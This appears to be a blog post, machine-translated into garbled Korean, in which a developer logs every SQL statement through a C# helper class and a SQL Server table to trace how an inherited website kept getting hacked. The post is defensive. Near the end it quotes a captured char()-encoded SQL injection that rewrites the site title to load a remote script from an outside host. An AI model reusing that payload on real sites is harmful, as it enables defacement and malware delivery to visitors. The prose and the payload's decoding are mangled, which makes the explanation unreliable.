성공 적 인 sql 주입 침입 검 측 부대 sql 성능 최적화

그러나 만약 에 당신 에 게 2 등 장애인 사 이 트 를 인수 하고 위 에서 개판 하 라 고 한다 면 전복 식 개판 을 하지 못 하고 낡은 프로그램 을 점차적으로 교체 할 수 밖 에 없다.그러면 당신 은 매우 고 통 스 러 울 것 이다.예 를 들 어 내 가 만난 문제 1.사장 이 당신 에 게 예전 에 사 이 트 를 다 만 들 었 는데 목마 가 나타 나 지 않 았 는데 어떻게 당신 이 오 면 목마 가 나타 날 수 있 습 니까?그만 하 세 요.빨리 문 제 를 해결 해라.나 는 완전히 어이 가 없다.그러나 말다툼 을 한다 면 사실은 네가 사장 처럼 무지 하 다 는 것 을 증명 하고 증거 와 사실 분석 을 통 해 회사 의 다른 기술 을 조금 아 는 사람들 로 하여 금 회사 사이트 가 마 케 팅 된 것 은 네가 온 잘못 이 아니 라 는 것 을 증명 하 게 한다.만약 에 제 가 사이트 디 렉 터 리 를 통 해 자세히 살 펴 보면 fck 를 통 해 올 린 망 마 를 삭제 하고 fck 의 업로드 구멍 을 보완 하 며 이 Fckeditor 사용 노트 를 적 었 습 니 다.사실은 많은 사람들 이 겪 었 고 해결 한 적 이 있 습 니 다.모두 작은 문제 입 니 다.하지만 사장 님 께 구멍 문 제 를 해결 하 는 것 보다 더 아프다 는 것 을 알 게 해 드 리 겠 습 니 다.제 가 설명 한 것 은 땀 이 라 고 합 니 다.회사 의 기술 을 조금 아 는 모든 사람 을 불 러 서 큰 말 이 무엇 인지,작은 말 이 무엇 인지 보 여 주 고 목마,할머니 의 해 킹 튜 토리 얼 을 어떻게 올 리 는 지 보 여 주 는 것 이 한스럽다.문제 2.사이트 에 또 문제 가 생 겼 습 니 다.지난번 의 문 제 는 해결 한 지 두 달 밖 에 되 지 않 았 습 니 다.사이트 가 또 침입 되 었 습 니 다.만약 에 사장 님 이 이번에 다시 말씀 하 시 면 제 가 와 서 문제 가 생 겼 습 니 다.바로 가 겠 습 니 다.이것 이 바로 기술 을 더 모 르 는 사람 이 억지로 부 딪 칠 수 없고 당신 의 사장 님 과 말 할 수 없 는 이유 입 니 다.말 하면 모 르 겠 습 니 다.그러나 중요 한 것 은 사이트 가 예전 의 기술 개발 의 2 등 장애인 이다.다른 cms 에서 수정 한 것 이다.나 는 사이트 가 개발 하 는 동시에 낡은 모듈 도 사용 할 수 있다 는 것 을 보증 해 야 한다.점차적으로 업데이트 하 는 방법 으로 사이트 의 바 텀 을 새롭게 바 꿀 수 있다.그러나 그렇게 많은 페이지 를 하나씩 검사 하기 어렵다.예 를 들 어 아래 의 검 측 코드 를 쓰 는 것 이다.이렇게 간단 한 것 이 해결 되 고 이 방법 을 통 해 당신 의 sql 을 최적화 시 킬 수 있 을 줄 은 생각 하지 못 했 습 니 다.첫 번 째 단 계 는 sql 로그 시트
 
CREATE TABLE [dbo].[my_sqllog](
[id] [bigint] IDENTITY(1,1) NOT NULL,
[hit] [bigint] NULL,
[sqltext] [varchar](max) COLLATE Chinese_PRC_CI_AS NULL,
[paramdetails] [varchar](max) COLLATE Chinese_PRC_CI_AS NULL,
[begintime] [datetime] NULL,
[endtime] [datetime] NULL,
[fromurl] [varchar](max) COLLATE Chinese_PRC_CI_AS NULL,
[ip] [varchar](20) COLLATE Chinese_PRC_CI_AS NULL,
[lastelapsedtime] [bigint] NULL,
CONSTRAINT [PK_my_sqllog] PRIMARY KEY CLUSTERED
(
[id] ASC
)WITH (IGNORE_DUP_KEY = OFF) ON [PRIMARY]
) ON [PRIMARY]
를 만들어 sql 문 구 를 기록 합 니 다.이 sql 문 구 는 실행 횟수,파라미터 와 값,시작 시간,종료 시간 을 기록 합 니 다.어느 페이지 에서 왔 는 지,ip 와 이 문 구 는 실행 시간(잠시 사용 되 지 않 음)두 번 째 단 계 는 sqlhelper 에 기록 코드 를 쓰 는 두 가지 방법 으로 private 로 쓸 수 있 었 습 니 다.그러나 이 2 등 불구 가 된 사이트 의 다른 곳 에서 사용 하 는 다른 sqlhelper 류 는 이곳 에서 합 리 적 으로 최 적 화 된 sqlhelper 류 의 방법 을 직접 호출 합 니 다.코드 1:로그 삽입
 
public static int ExecuteSqlLog(CommandType commandType, string commandText, params DbParameter[] cmdParams)
{
#region
string colums = "";
string dbtypes = "";
string values = "";
string paramdetails = "";
if (cmdParams != null && cmdParams.Length > 0)
{
foreach (DbParameter param in cmdParams)
{
if (param == null)
{
continue;
}
colums += param.ParameterName + " ";
dbtypes += param.DbType + " ";
values += param.Value + ";";
}
paramdetails = string.Format(" {0},{1},{2}", colums, dbtypes, values);
}
string fromurl = "";
if (System.Web.HttpContext.Current!=null)
{
fromurl = System.Web.HttpContext.Current.Request.Url.ToString();
}
// commandText = commandText.Replace("'","‘").Replace(";",";");
SqlParameter[] parameters = new SqlParameter[]
{
new SqlParameter("@hit",1),
new SqlParameter("@sqltext",commandText),
new SqlParameter("@paramdetails",paramdetails),
new SqlParameter("@begintime",DateTime.Now),
new SqlParameter("@endtime",DateTime.Now),
new SqlParameter("@fromurl",fromurl),
new SqlParameter("@ip",Web.PressRequest.GetIP()),
new SqlParameter("@lastelapsedtime",0),
};
#endregion
using (DbConnection connection = Factory.CreateConnection())
{
connection.ConnectionString = GetRealConnectionString(commandText);//ConnectionString;
string sql = "";
// DbCommand , .
int id =
Utils.TypeConverter.ObjectToInt(ExecuteScalarLog(CommandType.Text,
"select top 1 id from my_sqllog where sqltext=@sqltext",
new SqlParameter("@sqltext", commandText)));
if (id > 0)
{
sql = "update my_sqllog set hit=hit+1,ip=@ip,endtime=@endtime,fromurl=@fromurl where id=" + id;
}
else
{
sql = "insert into my_sqllog(hit,sqltext,paramdetails,begintime,endtime,fromurl,ip,lastelapsedtime) values(@hit,@sqltext,@paramdetails,@begintime,@endtime,@fromurl,@ip,@lastelapsedtime)";
}
// DbCommand ,
DbCommand cmd = Factory.CreateCommand();
bool mustCloseConnection = false;
PrepareCommand(cmd, connection, (DbTransaction)null, commandType, sql, parameters, out mustCloseConnection);
// DbCommand , .
int retval = cmd.ExecuteNonQuery();
// , .
cmd.Parameters.Clear();
if (mustCloseConnection)
connection.Close();
return retval;
}
}
코드 2:이 sql 이 존재 하 는 지 판단
 
private static object ExecuteScalarLog( CommandType commandType, string commandText, params DbParameter[] commandParameters)
{
if (ConnectionString == null || ConnectionString.Length == 0) throw new ArgumentNullException("ConnectionString");
// , .
using (DbConnection connection = Factory.CreateConnection())
{
if (connection == null) throw new ArgumentNullException("connection");
//connection.Close();
connection.ConnectionString = GetRealConnectionString(commandText);
connection.Open();
// DbCommand ,
DbCommand cmd = Factory.CreateCommand();
bool mustCloseConnection = false;
PrepareCommand(cmd, connection, (DbTransaction)null, commandType, commandText, commandParameters, out mustCloseConnection);
// DbCommand , .
object retval = cmd.ExecuteScalar();
// , .
cmd.Parameters.Clear();
if (mustCloseConnection)
connection.Close();
return retval;
}
}
세 번 째 부분 은 sql 문 구 를 실행 하 는 모든 방법 에 다음 과 같은 코드 를 추가 합 니 다.Execute Scalar,Execute Reader 든 Execute NonQuery 든 모두
 
// sql
int log = ExecuteSqlLog(CommandType.Text, commandText, commandParameters);
코드 예시:
 
public static object ExecuteScalar(DbConnection connection, CommandType commandType, string commandText, params DbParameter[] commandParameters)
{
if (connection == null) throw new ArgumentNullException("connection");
//connection.Close();
connection.ConnectionString = GetRealConnectionString(commandText);
connection.Open();
// DbCommand ,
DbCommand cmd = Factory.CreateCommand();
bool mustCloseConnection = false;
PrepareCommand(cmd, connection, (DbTransaction)null, commandType, commandText, commandParameters, out mustCloseConnection);
// sql
int log = ExecuteSqlLog(CommandType.Text, commandText, commandParameters);
// DbCommand , .
object retval = cmd.ExecuteScalar();
// , .
cmd.Parameters.Clear();
if (mustCloseConnection)
connection.Close();
return retval;
}
그리고 침입 입구 가 기록 되 어 있 는 것 을 발견 할 수 있 습 니 다.뒤쪽 사각형 에 있 는 것 은 구조 가 주입 한 sql 입 니 다.

구조 sql 은 다음 과 같 습 니 다:39191+update+mywebsetting+set+websitetitle=REPLACE(cast(websitetitle+as+varchar(8000)),cast(char(60)+char(47)+char(116)+char(105)+char(116)+char(108)+char(101)+char(62)+char(60)+char(115)+char(99)+char(114)+char(105)+char(112)+char(116)+char(32)+char(115)+char(114)+char(99)+char(61)+char(104)+char(116)+char(116)+char(112)+char(58)+char(47)+char(47)+char(100)+char(102)+char(114)+char(103)+char(99)+char(99)+char(46)+char(99)+char(111)+char(109)+char(47)+char(117)+char(114)+char(114)+char(46)+char(112)+char(104)+char(112)+char(112)+char(62)+char(60)+char(47)+char(115)+char(99)+char(114)+char(114)+char(105)+char(112)+char(112)+char(112)+char(116)+char(116)+char(62)+as+varchar(8000),cast(32)+as+var char(8)--char(8)--char(8)--char(8)--char(112)+char(116)+char 코드 후 이렇게 되 었 습 니 다:update mywebsetting set websitetitle=REPLACE(cast(websitetitle as varchar(8000)),websitetitle+')이것 이 바로 목마 주소 입 니 다.일이 없 으 면 주문 하지 마 세 요.고양 이 를 죽 이 는 것 이 궁금 합 니 다.소결:입 구 를 알 았 으 니 어떻게 보완 해 야 할 지 알 겠 지?string 유형 을 모두 걸 러 내 고 int 유형 은 int 형식 이 어야 지 데이터 베 이 스 를 숨 기지 못 하 게 해 야 해.이 sql 로그 기록 을 통 해 그 hit 가 가치 가 있다 는 것 을 알 아야 합 니 다.select top 100*from mysqllog order by hit desc 는 그렇게 많은 sql 을 쓴 것 을 발견 할 수 있 습 니 다.그래서 나중에 제 가 쓴 sql 은 이 top 100 리 에 거의 없 었 어 요.벽돌 을 던 져 옥 을 끌 어 올 리 고 고수 의 비판 을 바 랍 니 다.상기 침입 방법 은 프로그래머 가 된 학생 들 이 작은 사 이 트 를 괴 롭 히 지 않 고 다 치지 않 기 를 바 랍 니 다.작성 자:jqbird

좋은 웹페이지 즐겨찾기